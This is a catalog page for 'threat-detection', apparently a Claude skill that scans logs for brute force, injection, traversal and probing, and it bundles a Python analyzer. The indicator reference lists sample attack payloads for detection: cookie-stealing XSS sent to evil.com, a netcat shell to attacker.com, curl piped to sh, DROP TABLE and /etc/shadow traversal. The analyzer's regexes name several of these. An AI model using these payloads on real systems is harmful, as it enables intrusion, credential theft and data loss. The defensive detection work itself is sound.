
Threat Detection
- 57 installs
- 451 repo stars
- Updated July 21, 2026
- borghei/claude-skills
threat-detection is a Claude skill that analyzes log files for brute force, injection, and privilege-escalation threat signals.
About
Threat-detection analyzes log files for suspicious patterns like brute force attacks, injection attempts, unusual access, and privilege escalation. It classifies findings by threat category and severity and outputs JSON for SIEM integration. Security teams use it to triage log data and investigate incidents.
- Analyzes log files for brute force, injection, and privilege-escalation patterns
- Detects SQL injection, XSS, path traversal, command injection, and rate flooding
- JSON output for SIEM integration and a min-severity threshold
Threat Detection by the numbers
- 57 all-time installs (skills.sh)
- Ranked #1,255 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
threat-detection capabilities & compatibility
- Capabilities
- threat detection · log analysis · incident response
- Use cases
- security audit · data analysis
- Pricing
- Free
What threat-detection says it does
Identifies repeated failed login attempts from same source
Detects SQL injection, XSS, command injection in requests
npx skills add https://github.com/borghei/claude-skills --skill threat-detectionAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 57 |
|---|---|
| repo stars | ★ 451 |
| Last updated | July 21, 2026 |
| Repository | borghei/claude-skills ↗ |
What it does
Analyze auth and access logs for brute force, injection, and privilege-escalation threats and triage by severity.
Who is it for?
Security teams triaging auth and access logs or investigating an incident.
Skip if: Static code security review or infrastructure misconfiguration scanning.
When should I use this skill?
Analyzing logs for threats, scanning for brute force, or auditing access patterns for anomalies.
What you get
A severity-ranked threat report per log source, ready for SIEM integration.
- threat report
- incident timeline
- severity-ranked findings
By the numbers
- 6 threat categories
- 4 severity levels
Files
Threat Detection
Category: Engineering
Domain: Security Operations
Overview
The Threat Detection skill provides automated analysis of log files for suspicious patterns including brute force attacks, injection attempts, unusual access patterns, and privilege escalation indicators. It helps security teams triage log data and identify threats before they escalate.
Quick Start
# Analyze a log file for threat signals
python scripts/threat_signal_analyzer.py --file /var/log/auth.log
# Analyze with specific threat category
python scripts/threat_signal_analyzer.py --file access.log --category injection
# JSON output for SIEM integration
python scripts/threat_signal_analyzer.py --file auth.log --format json
# Set minimum severity
python scripts/threat_signal_analyzer.py --file access.log --min-severity highTools Overview
threat_signal_analyzer.py
Analyzes log files for suspicious activity patterns across multiple threat categories.
| Feature | Description |
|---|---|
| Brute force detection | Identifies repeated failed login attempts from same source |
| Injection scanning | Detects SQL injection, XSS, command injection in requests |
| Access anomalies | Flags unusual access times, forbidden paths, admin probes |
| Privilege escalation | Detects sudo abuse, role changes, permission modifications |
| Rate analysis | Identifies request flooding and denial-of-service patterns |
| IP reputation | Flags known-bad patterns (scanners, bots, TOR indicators) |
Workflows
Log Analysis Workflow
1. Collect - Gather logs from auth, access, application sources 2. Analyze - Run threat_signal_analyzer.py across log files 3. Triage - Review critical and high severity findings first 4. Correlate - Cross-reference findings across log sources 5. Respond - Block IPs, reset credentials, escalate as needed
Incident Investigation Workflow
1. Scope - Identify time window and affected systems 2. Scan - Run analyzer on all relevant log files 3. Timeline - Build timeline from threat signals 4. Impact - Assess what was accessed or modified 5. Contain - Block threat actors and patch vulnerabilities
Continuous Monitoring
# Cron job: analyze auth logs every hour
python scripts/threat_signal_analyzer.py --file /var/log/auth.log --format json --min-severity high > /tmp/threat_report.json
# CI/CD: scan application logs on deployment
python scripts/threat_signal_analyzer.py --file app.log --category injection --format jsonReference Documentation
- Threat Indicators - Common attack patterns, indicators of compromise, response playbooks
Common Patterns Quick Reference
Threat Categories
| Category | Signals | Severity |
|---|---|---|
| Brute force | 5+ failed logins from same IP in 5 min | High |
| SQL injection | UNION SELECT, OR 1=1, DROP TABLE in requests | Critical |
| XSS | script tags, javascript: URIs, event handlers in input | High |
| Path traversal | ../ sequences, /etc/passwd access attempts | High |
| Command injection | ; cat /etc/passwd, | nc, backtick usage |
| Admin probing | /admin, /wp-admin, /phpmyadmin access attempts | Medium |
| Rate flooding | 100+ requests/minute from single IP | High |
Severity Levels
- CRITICAL - Active exploitation attempt (injection, RCE)
- HIGH - Likely attack in progress (brute force, privilege escalation)
- MEDIUM - Suspicious activity requiring investigation
- LOW - Informational, possible false positive
Response Actions
| Severity | Immediate Action | Follow-Up |
|---|---|---|
| Critical | Block IP, alert SOC | Incident report, forensics |
| High | Rate limit, monitor | Review access, check damage |
| Medium | Log and monitor | Weekly review |
| Low | Log only | Monthly trend analysis |
Threat Indicators Reference
Attack Categories
Brute Force Attacks
Indicators:
- 5+ failed login attempts from same IP within 5 minutes
- Sequential username enumeration (admin, root, test, user)
- Password spraying across multiple accounts
- Login attempts at unusual hours
Response: 1. Block offending IP at firewall 2. Enable account lockout after N failures 3. Implement CAPTCHA after 3 failures 4. Check if any attempts succeeded 5. Reset passwords for targeted accounts
SQL Injection
Common Patterns:
' OR 1=1 --
UNION SELECT username, password FROM users
'; DROP TABLE users; --
' AND SLEEP(5) --
1' ORDER BY 1--+Log Indicators:
- SQL keywords in URL parameters or POST data
- Comment sequences (-- or / /) in input
- Boolean-based patterns (OR 1=1, AND 1=2)
- Time-based patterns (SLEEP, WAITFOR, BENCHMARK)
Response: 1. Block IP immediately 2. Review WAF rules 3. Audit application for parameterized queries 4. Check database for unauthorized changes 5. Review database access logs
Cross-Site Scripting (XSS)
Common Patterns:
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
javascript:alert(1)
"><script>fetch('http://evil.com/'+document.cookie)</script>Response: 1. Block IP 2. Review output encoding in application 3. Check for stored XSS in database 4. Implement Content Security Policy headers
Command Injection
Common Patterns:
; cat /etc/passwd
| nc attacker.com 4444
$(whoami)
`id`
; curl http://evil.com/shell.sh | shResponse: 1. Block IP immediately (highest priority) 2. Check if commands executed successfully 3. Audit system for unauthorized changes 4. Review application for shell execution paths
Path Traversal
Common Patterns:
../../etc/passwd
..%2f..%2fetc/shadow
....//....//etc/passwd
%252e%252e%252fetc/passwdResponse: 1. Block IP 2. Check if sensitive files were accessed 3. Review file access controls 4. Validate path inputs in application
Severity Classification
Critical
- Active exploitation with evidence of success
- SQL injection with UNION/SELECT returning data
- Command injection with shell commands
- Data exfiltration indicators
High
- Brute force with 10+ attempts
- XSS attempts with sophisticated payloads
- Path traversal reaching sensitive files
- Privilege escalation attempts
Medium
- Admin page probing (404s on /admin, /wp-admin)
- Moderate brute force (3-9 attempts)
- Scanner/bot fingerprints
- Unusual access patterns
Low
- Single failed login
- Normal 404 errors
- Known bot traffic (search engines)
- Rate slightly above average
Common Log Formats
Apache/Nginx Access Log
192.168.1.1 - - [01/Apr/2026:12:00:00 +0000] "GET /page HTTP/1.1" 200 1234Syslog/Auth Log
Apr 1 12:00:00 server sshd[12345]: Failed password for root from 192.168.1.1JSON Structured Logs
{"timestamp": "2026-04-01T12:00:00Z", "level": "warn", "source_ip": "192.168.1.1", "message": "auth_failure"}IP Reputation Indicators
Suspicious Patterns
- Multiple failed auth from same IP
- Requests to multiple admin paths
- Non-browser User-Agents (sqlmap, nikto, nmap)
- Rapid sequential requests (>100/min)
- Requests to honeypot URLs
Known Scanner User-Agents
sqlmap
nikto
nmap
masscan
ZmEu
dirbuster
gobuster
wfuzzIncident Response Playbook
Step 1: Detect
- Automated log analysis
- Alert thresholds triggered
- User/admin report
Step 2: Triage
- Classify severity
- Identify affected systems
- Determine if ongoing
Step 3: Contain
- Block attacker IP(s)
- Disable compromised accounts
- Isolate affected systems
Step 4: Investigate
- Full log analysis across all sources
- Timeline reconstruction
- Impact assessment
Step 5: Remediate
- Patch vulnerabilities
- Reset credentials
- Update WAF rules
- Restore from clean backups if needed
Step 6: Report
- Document timeline and impact
- Identify root cause
- Recommend preventive measures
#!/usr/bin/env python3
"""
Threat Signal Analyzer - Analyze log files for suspicious activity patterns.
Detects brute force attempts, injection attacks, path traversals,
unusual access patterns, and other threat indicators.
Author: Claude Skills Engineering Team
License: MIT
"""
import argparse
import json
import re
import sys
from collections import defaultdict
from dataclasses import dataclass, asdict
from datetime import datetime
from pathlib import Path
from typing import List, Dict, Optional, Set, Tuple
@dataclass
class ThreatSignal:
"""A detected threat signal."""
severity: str # critical, high, medium, low
category: str
source_ip: Optional[str]
timestamp: Optional[str]
message: str
evidence: str
recommendation: str
SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3}
# Injection patterns
SQL_INJECTION_PATTERNS = [
re.compile(r"(?i)(?:union\s+(?:all\s+)?select)", re.IGNORECASE),
re.compile(r"(?i)(?:or\s+1\s*=\s*1)", re.IGNORECASE),
re.compile(r"(?i)(?:and\s+1\s*=\s*1)", re.IGNORECASE),
re.compile(r"(?i)(?:drop\s+table)", re.IGNORECASE),
re.compile(r"(?i)(?:insert\s+into)", re.IGNORECASE),
re.compile(r"(?i)(?:delete\s+from)", re.IGNORECASE),
re.compile(r"(?i)(?:update\s+\w+\s+set)", re.IGNORECASE),
re.compile(r"(?i)(?:exec\s*\(|execute\s)", re.IGNORECASE),
re.compile(r"(?:--|#|/\*)", re.IGNORECASE),
re.compile(r"(?i)(?:sleep\s*\(\s*\d+\s*\))", re.IGNORECASE),
re.compile(r"(?i)(?:benchmark\s*\()", re.IGNORECASE),
re.compile(r"(?i)(?:waitfor\s+delay)", re.IGNORECASE),
]
XSS_PATTERNS = [
re.compile(r"<script[\s>]", re.IGNORECASE),
re.compile(r"javascript\s*:", re.IGNORECASE),
re.compile(r"on(?:load|error|click|mouseover)\s*=", re.IGNORECASE),
re.compile(r"<iframe[\s>]", re.IGNORECASE),
re.compile(r"<img[^>]+onerror", re.IGNORECASE),
re.compile(r"eval\s*\(", re.IGNORECASE),
re.compile(r"document\.(?:cookie|location|write)", re.IGNORECASE),
]
CMD_INJECTION_PATTERNS = [
re.compile(r";\s*(?:cat|ls|id|whoami|pwd|uname)\b"),
re.compile(r"\|\s*(?:nc|ncat|netcat)\b"),
re.compile(r"`[^`]+`"),
re.compile(r"\$\([^)]+\)"),
re.compile(r";\s*(?:curl|wget)\s"),
re.compile(r"/etc/(?:passwd|shadow|hosts)"),
re.compile(r"(?:rm\s+-rf|mkfs|dd\s+if=)"),
]
PATH_TRAVERSAL_PATTERNS = [
re.compile(r"\.\./"),
re.compile(r"\.\.\\"),
re.compile(r"%2e%2e[/\\]", re.IGNORECASE),
re.compile(r"%252e%252e", re.IGNORECASE),
]
ADMIN_PROBE_PATHS = [
"/admin", "/wp-admin", "/wp-login", "/phpmyadmin", "/administrator",
"/manager", "/console", "/.env", "/config", "/backup",
"/api/admin", "/debug", "/server-status", "/server-info",
"/.git", "/.svn", "/wp-config.php", "/xmlrpc.php",
]
# Log parsing patterns
IP_PATTERN = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')
TIMESTAMP_PATTERNS = [
re.compile(r'(\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2})'),
re.compile(r'\[(\d{2}/\w{3}/\d{4}:\d{2}:\d{2}:\d{2})'),
re.compile(r'(\w{3}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})'),
]
HTTP_STATUS_PATTERN = re.compile(r'\s(\d{3})\s')
AUTH_FAIL_PATTERNS = [
re.compile(r'(?i)(?:failed|invalid|rejected)\s+(?:login|password|authentication)'),
re.compile(r'(?i)authentication\s+failure'),
re.compile(r'(?i)access\s+denied'),
re.compile(r'(?i)unauthorized'),
re.compile(r'(?i)invalid\s+user'),
re.compile(r'(?i)failed\s+password'),
]
class ThreatAnalyzer:
"""Analyzes log entries for threat signals."""
def __init__(self, min_severity: str = "low", category: Optional[str] = None):
self.signals: List[ThreatSignal] = []
self.min_severity = min_severity
self.category = category
self.failed_logins: Dict[str, List[str]] = defaultdict(list)
self.request_counts: Dict[str, int] = defaultdict(int)
self.ip_status_codes: Dict[str, Dict[int, int]] = defaultdict(lambda: defaultdict(int))
def analyze_file(self, filepath: Path) -> List[ThreatSignal]:
"""Analyze a log file for threats."""
try:
lines = filepath.read_text(errors="replace").split("\n")
except Exception as e:
print(f"Error reading file: {e}", file=sys.stderr)
return []
for line in lines:
if not line.strip():
continue
self._analyze_line(line)
# Post-analysis aggregation checks
self._check_brute_force()
self._check_rate_flooding()
return self._filter_by_severity()
def _extract_ip(self, line: str) -> Optional[str]:
"""Extract IP address from log line."""
match = IP_PATTERN.search(line)
return match.group(1) if match else None
def _extract_timestamp(self, line: str) -> Optional[str]:
"""Extract timestamp from log line."""
for pattern in TIMESTAMP_PATTERNS:
match = pattern.search(line)
if match:
return match.group(1)
return None
def _analyze_line(self, line: str):
"""Analyze a single log line."""
ip = self._extract_ip(line)
ts = self._extract_timestamp(line)
if ip:
self.request_counts[ip] += 1
# Track HTTP status codes
status_match = HTTP_STATUS_PATTERN.search(line)
if status_match and ip:
code = int(status_match.group(1))
self.ip_status_codes[ip][code] += 1
# Check categories
if not self.category or self.category == "injection":
self._check_sql_injection(line, ip, ts)
self._check_xss(line, ip, ts)
self._check_command_injection(line, ip, ts)
if not self.category or self.category == "traversal":
self._check_path_traversal(line, ip, ts)
if not self.category or self.category == "auth":
self._check_auth_failures(line, ip, ts)
if not self.category or self.category == "probe":
self._check_admin_probing(line, ip, ts)
def _check_sql_injection(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Check for SQL injection patterns."""
for pattern in SQL_INJECTION_PATTERNS:
if pattern.search(line):
self.signals.append(ThreatSignal(
severity="critical",
category="sql_injection",
source_ip=ip,
timestamp=ts,
message="SQL injection attempt detected.",
evidence=line.strip()[:200],
recommendation="Block source IP. Review application input validation. Check for successful exploitation.",
))
return # One finding per line
def _check_xss(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Check for XSS patterns."""
for pattern in XSS_PATTERNS:
if pattern.search(line):
self.signals.append(ThreatSignal(
severity="high",
category="xss",
source_ip=ip,
timestamp=ts,
message="Cross-site scripting (XSS) attempt detected.",
evidence=line.strip()[:200],
recommendation="Block source IP. Review output encoding. Check for stored XSS.",
))
return
def _check_command_injection(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Check for command injection patterns."""
for pattern in CMD_INJECTION_PATTERNS:
if pattern.search(line):
self.signals.append(ThreatSignal(
severity="critical",
category="command_injection",
source_ip=ip,
timestamp=ts,
message="Command injection attempt detected.",
evidence=line.strip()[:200],
recommendation="Block source IP immediately. Audit command execution paths. Check for successful exploitation.",
))
return
def _check_path_traversal(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Check for path traversal attempts."""
for pattern in PATH_TRAVERSAL_PATTERNS:
if pattern.search(line):
self.signals.append(ThreatSignal(
severity="high",
category="path_traversal",
source_ip=ip,
timestamp=ts,
message="Path traversal attempt detected.",
evidence=line.strip()[:200],
recommendation="Block source IP. Validate file path inputs. Ensure no sensitive files were accessed.",
))
return
def _check_auth_failures(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Track authentication failures for brute force detection."""
for pattern in AUTH_FAIL_PATTERNS:
if pattern.search(line):
if ip:
self.failed_logins[ip].append(ts or "unknown")
break
def _check_admin_probing(self, line: str, ip: Optional[str], ts: Optional[str]):
"""Check for admin page probing."""
line_lower = line.lower()
for probe_path in ADMIN_PROBE_PATHS:
if probe_path in line_lower:
# Only flag if we see 404 or 403 (probing, not legitimate)
status_match = HTTP_STATUS_PATTERN.search(line)
if status_match:
code = int(status_match.group(1))
if code in (401, 403, 404):
self.signals.append(ThreatSignal(
severity="medium",
category="admin_probe",
source_ip=ip,
timestamp=ts,
message=f"Admin/sensitive path probe detected: {probe_path}",
evidence=line.strip()[:200],
recommendation="Monitor source IP for further reconnaissance. Consider rate limiting.",
))
return
def _check_brute_force(self):
"""Detect brute force patterns from aggregated auth failures."""
if self.category and self.category != "auth":
return
for ip, timestamps in self.failed_logins.items():
if len(timestamps) >= 5:
self.signals.append(ThreatSignal(
severity="high",
category="brute_force",
source_ip=ip,
timestamp=timestamps[0],
message=f"Brute force attack: {len(timestamps)} failed login attempts from {ip}.",
evidence=f"Failed attempts: {len(timestamps)}, First: {timestamps[0]}, Last: {timestamps[-1]}",
recommendation=f"Block IP {ip}. Enforce account lockout. Check if any attempts succeeded.",
))
elif len(timestamps) >= 3:
self.signals.append(ThreatSignal(
severity="medium",
category="brute_force",
source_ip=ip,
timestamp=timestamps[0],
message=f"Possible brute force: {len(timestamps)} failed login attempts from {ip}.",
evidence=f"Failed attempts: {len(timestamps)}",
recommendation=f"Monitor IP {ip} for continued attempts.",
))
def _check_rate_flooding(self):
"""Detect request flooding."""
if self.category and self.category != "rate":
return
for ip, count in self.request_counts.items():
if count > 500:
self.signals.append(ThreatSignal(
severity="high",
category="rate_flooding",
source_ip=ip,
timestamp=None,
message=f"Request flooding: {count} requests from {ip}.",
evidence=f"Total requests: {count}",
recommendation=f"Rate limit or block IP {ip}. Check if this is a legitimate bot or attack.",
))
elif count > 200:
self.signals.append(ThreatSignal(
severity="medium",
category="rate_flooding",
source_ip=ip,
timestamp=None,
message=f"High request volume: {count} requests from {ip}.",
evidence=f"Total requests: {count}",
recommendation=f"Monitor IP {ip}. Consider rate limiting.",
))
def _filter_by_severity(self) -> List[ThreatSignal]:
"""Filter by minimum severity."""
min_order = SEVERITY_ORDER.get(self.min_severity, 3)
return [s for s in self.signals if SEVERITY_ORDER.get(s.severity, 3) <= min_order]
def format_text(signals: List[ThreatSignal], filepath: str) -> str:
"""Format as human-readable text."""
lines = []
lines.append("=" * 60)
lines.append("THREAT SIGNAL ANALYSIS REPORT")
lines.append("=" * 60)
lines.append(f"Log file: {filepath}")
lines.append(f"Signals detected: {len(signals)}")
by_severity = {}
for s in signals:
by_severity.setdefault(s.severity, []).append(s)
for sev in ["critical", "high", "medium", "low"]:
count = len(by_severity.get(sev, []))
if count:
lines.append(f" {sev.upper()}: {count}")
lines.append("-" * 60)
for sev in ["critical", "high", "medium", "low"]:
group = by_severity.get(sev, [])
if not group:
continue
lines.append(f"\n[{sev.upper()}]")
for s in group:
ip_str = f" from {s.source_ip}" if s.source_ip else ""
ts_str = f" at {s.timestamp}" if s.timestamp else ""
lines.append(f" [{s.category}]{ip_str}{ts_str}")
lines.append(f" {s.message}")
lines.append(f" Evidence: {s.evidence[:120]}")
lines.append(f" Action: {s.recommendation}")
lines.append("")
if not signals:
lines.append("\nNo threat signals detected.")
lines.append("=" * 60)
return "\n".join(lines)
def format_json(signals: List[ThreatSignal], filepath: str) -> str:
"""Format as JSON."""
return json.dumps({
"file": filepath,
"signals": [asdict(s) for s in signals],
"summary": {
"total": len(signals),
"critical": sum(1 for s in signals if s.severity == "critical"),
"high": sum(1 for s in signals if s.severity == "high"),
"medium": sum(1 for s in signals if s.severity == "medium"),
"low": sum(1 for s in signals if s.severity == "low"),
"categories": dict(defaultdict(int, {s.category: 0 for s in signals})),
}
}, indent=2)
def main():
parser = argparse.ArgumentParser(
description="Analyze log files for suspicious activity and threat signals."
)
parser.add_argument("--file", "-f", required=True, help="Path to log file")
parser.add_argument("--format", choices=["text", "json"], default="text", help="Output format")
parser.add_argument("--min-severity", choices=["critical", "high", "medium", "low"],
default="low", help="Minimum severity to report")
parser.add_argument("--category", choices=["injection", "auth", "traversal", "probe", "rate"],
help="Focus on specific threat category")
args = parser.parse_args()
path = Path(args.file)
if not path.exists():
print(f"Error: File not found: {args.file}", file=sys.stderr)
sys.exit(2)
analyzer = ThreatAnalyzer(min_severity=args.min_severity, category=args.category)
signals = analyzer.analyze_file(path)
if args.format == "json":
print(format_json(signals, str(path)))
else:
print(format_text(signals, str(path)))
if any(s.severity == "critical" for s in signals):
sys.exit(1)
if __name__ == "__main__":
main()
Related skills
FAQ
What threat categories does it detect?
Brute force, SQL injection, XSS, path traversal, command injection, admin probing, and rate flooding, each with a severity level.
Can it feed a SIEM?
Yes. It supports JSON output for SIEM integration and a configurable minimum severity.